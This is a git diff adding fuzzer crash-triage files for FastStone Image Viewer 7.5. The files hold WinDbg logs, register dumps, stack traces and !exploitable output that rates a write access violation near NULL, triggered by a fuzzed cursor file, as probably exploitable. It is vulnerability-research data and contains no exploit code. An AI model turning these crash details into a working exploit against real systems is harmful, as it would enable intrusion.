+EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d8ab56f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x11C4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x11C4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(11c4.11ac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ee7b19 edx=00000000 esi=00000000 edi=07cf2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.37652e-009 2270.98 -3.79295e-022 1.13502e-007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00332000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00332000 03502f7a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00332000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..236ec72 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1b47ef6 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45672/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1610: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1610.f24): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0f81efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.82545e+008 6.90849e+021 1.74438e+006 3.24706e-028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00326000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00326000 7e751118 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00326000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at 